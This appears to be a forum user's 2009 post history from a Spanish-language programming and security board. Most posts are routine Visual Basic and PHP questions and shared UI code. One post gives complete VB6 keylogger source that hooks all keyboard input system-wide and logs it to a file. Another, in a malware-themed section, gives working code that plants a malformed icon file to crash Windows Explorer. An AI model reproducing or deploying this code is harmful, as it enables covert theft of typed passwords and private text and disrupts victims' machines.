|
41
|
Programación / Programación Visual Basic / Desbordamiento
|
en: 1 Noviembre 2009, 02:27 am
|
buenas estoy teniendo un problema con lo siguiente Private Sub Form_Load()
Dim a As Double Dim b As Double a = 4195038069# b = &HF0F Debug.Print a And b
End Sub
esto me esta dando un error 6 Desbordamiento estoy intentando pasar una funcion de PHP a visual basic, en PHP no da error y me imprime como resultado "773" probe esto mismo en la calculadora de windows y tambien "773" ahora no se porque visual basic no permite esta operaciones. abra una forma de realizar la operación.?¿? Saludos
|
|
|
42
|
Programación / Programación Visual Basic / Keylogger (Otro metodo)
|
en: 18 Agosto 2009, 06:58 am
|
Hola ya que viene la racha con los Keylogger, pongo otro método, ayer mirando el tuto de Karcrack supuse que tendría que haber otra forma de transladar las teclas, así que se me dió por pasarles los msg del hook a una ventana de tipo EDIT (WM_IME_KEYDOWN), y el resultado fue bastante bueno, inclusive toma las @ y símbolos especiales, excepto los acentos porque si se los dejaba no los agrega a la ventana donde escribía. Seria bueno que si alguien tiene un teclado inglés lo pruebe a ver si funciona todo bien. Option Explicit '------------------------------------ 'Autor: Leandro Ascierto 'Web: www.leandroascierto.com.ar 'Fecha: 18-08-09 'En base a tutorial de Karcrack '------------------------------------ Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long Private Const ES_MULTILINE As Long = &H4& Private Const ES_AUTOVSCROLL As Long = &H40& Private Const ES_AUTOHSCROLL As Long = &H80& Private Const WM_IME_KEYDOWN As Long = &H290 Private Const WM_SYSKEYDOWN As Long = &H104 Private Const WM_KEYDOWN As Long = &H100 Private Const WM_KEYUP As Long = &H101 Private Const WH_KEYBOARD_LL As Long = 13 Private Const BUFFER_TO_SAVE As Long = 100 Private hEdit As Long Private KBHook As Long Private sTextData As String Private TextLen As Long Public Sub ManageKeylogger(ByVal Enable As Boolean) Select Case Enable Case True hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0) KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0) Debug.Print hEdit Case False Call UnhookWindowsHookEx(KBHook) TextLen = GetWindowTextLength(hEdit) If TextLen Then LogToFile App.Path & "\Log.txt" DestroyWindow hEdit End Select End Sub Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long Select Case wParam Case WM_KEYDOWN If lParam <> 222 And lParam <> 186 Then Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&) End If Case WM_KEYUP TextLen = GetWindowTextLength(hEdit) If TextLen > BUFFER_TO_SAVE Then LogToFile App.Path & "\Log.txt" End If Case WM_SYSKEYDOWN Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&) End Select End Function Private Sub LogToFile(ByVal sPath As String) sTextData = String(TextLen + 1, Chr$(0)) GetWindowText hEdit, sTextData, TextLen + 1 SetWindowText hEdit, vbNullString Open sPath For Append As #1 Print #1, sTextData Close #1 End Sub
Saludos.
|
|
|
43
|
Programación / Programación Visual Basic / Iconos que detallan el tipo de fuente
|
en: 21 Julio 2009, 20:51 pm
|
Hola una consulta,quizas no tiene que ver mucho con vb pero es para aplicarlo, tengo una duda que significan los iconos que estan al lado de las fuente, cual es la relacion? en algunos programas me muestran todas "O" en otros todas "T" y tambien estan las "A" alguien sabe el significados de estos iconos?? Saludos
|
|
|
44
|
Programación / Programación Visual Basic / ListBoxEx [Source]
|
en: 14 Julio 2009, 07:31 am
|
Hola, si me permite hago un poco de Spam a cambio de un aporte, es para compartir este Control de Usuario, se trata de un ListBox personalizado el cual permite insertar iconos, Cambiar la seleción, un sistema de desplazamiento personalizado. etc. DescargarEspero a nadie le moleste Saludos
|
|
|
45
|
Programación / Programación Visual Basic / Listar Ventanas, problemas con IDEOwner
|
en: 12 Mayo 2009, 08:09 am
|
hola, tengo un problema con este codigo, estoy listando todas las ventanas que aparecen en la barra de Tareas, y cuando le doy clic en el list me imprime la ventana, pero el problema es con el IDE de visual basic si no esta minimizado, el problema es que la ventana se llama wndclass_desked_gsk pero la que en realidad el que tiene el ExStyle WS_EX_APPWINDOW es IDEOwner como puedo obtener la ventana wndclass_desked_gsk a partir de IDEOwner en un modulo Option Explicit Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Private Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long Private Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long Private Declare Function IsWindowVisible Lib "user32" (ByVal hWnd As Long) As Long Private Declare Function GetDesktopWindow Lib "user32" () As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Public Declare Function PrintWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal hdcBlt As Long, ByVal nFlags As Long) As Long
Private Const GWL_EXSTYLE As Long = -20 Private Const WS_EX_APPWINDOW As Long = &H40000 Private Const WS_EX_WINDOWEDGE As Long = &H100&
Dim arr() As Long
Public Function fEnumWindows() As Variant ReDim arr(0) Call EnumWindows(AddressOf fEnumWindowsCallBack, GetDesktopWindow) fEnumWindows = arr End Function
Private Function fEnumWindowsCallBack(ByVal hWnd As Long, ByVal lParam As Long) As Long If IsWindowVisible(hWnd) Then If IsExStyle(hWnd, WS_EX_APPWINDOW) Or GetWinClassName(hWnd) = "CabinetWClass" Then arr(UBound(arr)) = hWnd ReDim Preserve arr(UBound(arr) + 1) End If End If fEnumWindowsCallBack = True End Function
Public Function GetWinText(ByVal hWnd As Long) Dim MyStr As String MyStr = String(100, Chr$(0)) GetWindowText hWnd, MyStr, 100 GetWinText = Left$(MyStr, InStr(MyStr, Chr$(0)) - 1) End Function
Public Function GetWinClassName(hWnd As Long) As String Dim lpClassName As String Dim Ret As Long lpClassName = Space(256) Ret = GetClassName(hWnd, lpClassName, 256) GetWinClassName = Left$(lpClassName, Ret) End Function
Private Function IsExStyle(hWnd As Long, ExStyle As Long) As Boolean IsExStyle = (GetWindowLong(hWnd, GWL_EXSTYLE) And ExStyle) = ExStyle End Function
en un formulario con un picture1 y un list1 Option Explicit Dim MyArr() As Long 'wndclass_desked_gsk 'IDEOwner Private Sub Form_Load() Dim i As Long MyArr = fEnumWindows For i = 0 To UBound(MyArr) - 1 List1.AddItem GetWinText(MyArr(i)) Next End Sub
Private Sub List1_Click() Picture1.Cls PrintWindow MyArr(List1.ListIndex), Picture1.hDC, 0 Me.Caption = GetWinClassName(MyArr(List1.ListIndex)) End Sub
Creo que deberia utlizar GetWindowThreadProcessId pero no encotre forma de hacerlo. Saludos
|
|
|
46
|
Programación / Programación Visual Basic / Skin para tus formularios [Source]
|
en: 19 Abril 2009, 21:38 pm
|
Buenas este es un modulo clase para aplicar Skin a nuestros formularios, anteriormente habia hecho algo similar pero tenia ciertas limitaciones, bien en esta versión se corrige esos problemas. en el link tambien esta el Editor para poder crear sus propios skin, yo por el momento pude crear estos 16.
|
|
|
47
|
Seguridad Informática / Abril negro / Explorer crash [Abril Negro]
|
en: 16 Abril 2009, 05:07 am
|
Hola este es un pequeño fuente para crashear el explorer,no es nada del otro mundo, creo que esto es algo viejo pero tenia entendido con con SP3 no funcionaba,bueno a ami porlomenso me casca el explorer y tengo SP3. Option Explicit Dim Arr(62) As Byte
Private Sub Form_Load()
Arr(2) = 1: Arr(4) = 1: Arr(12) = 32: Arr(14) = 40 Arr(18) = 22: Arr(22) = 40: Arr(34) = 1: Arr(36) = 32
Open "C:\caca.ico" For Binary As #1 Put #1, , Arr Close #1
End Sub
al ejecutarlo despues cuando abran la carpeta en disco C:\ explota el explorer lo que hace crea una falsa imagen (en este caso es .ico pero puede ser cualquier otro formato) y inserta unos bits que probocan un error en el explorer al intentar obtener los datos de esta. Para eliminar esta imagen, Ejecutar > CMD > Del C:\caca.ico Saludos a por las dudas el codigo es en Visual Basic aca un ejemplo comprimido de la imagenla vajan y la descomprimen
|
|
|
48
|
Programación / PHP / Xml o Expreción Regular?
|
en: 24 Marzo 2009, 22:13 pm
|
Hola disculpen si esta pregunta no corresponde a esta parte del foro, pero no se bien que si es de xml o no. tengo que interpretar los siguiente para poder separar en items la siguentes lineas bien mi duda es esto es XML o es exprecion regular? caso 1 ["casa",["Casa","CASA","Casa (desambiguacion)","Casa (desambiguaci\u00f3n)","Casa (linaje)","CASA 101","CASA 2.111","CASA 207 Azor","CASA 2111","CASA 212"]]
caso 2 window.google.ac.h(["casa",[["casa del libro","2.280.000 resultados","0"],["casas","107.000.000 resultados","1"],["casas rurales","8.810.000 resultados","2"],["casas prefabricadas","831.000 resultados","3"], ["casa blanca","20.500.000 resultados","4"],["casas de madera","1.300.000 resultados","5"],["casas en venta","5.470.000 resultados","6"],["casa royal","3.330.000 resultados","7"],["casas ara","12.800.000 resultados","8"],["casa rural","6.080.000 resultados","9"]]])
caso 3 ["casa",["casablanca","casanova","casa impian","casa grande","casa del mar","casa loma","casa de campo","casa bonita","casa 106.7","casa manana"],[],[]] Saludos
|
|
|
49
|
Programación / Programación Visual Basic / [Source] Video Escritorio
|
en: 24 Marzo 2009, 01:46 am
|
Hola bueno, ya anteriormente se había puesto este código con algunas modificaciones de ░▒▓BlackZeroҖ▓▒░ usando MCI pero bien, a mi tampoco me estaba funcionando bien, ya que no se ocultaba la ventana del video, así que decidí hacerlo sobre un formulario creo que debería andar bien, además le puse un ícono junto al reloj para poder Cargar una pelicula, Play, Stop, Silencio y Salir, y bien al salir restablece el fondo de pantalla. Está lindo para cargar algún video de un acuario o paisaje para animar el escritorio, no pongo capturas porque no se puede. Descargar CodigoSaludos
|
|
|
|
|
|
|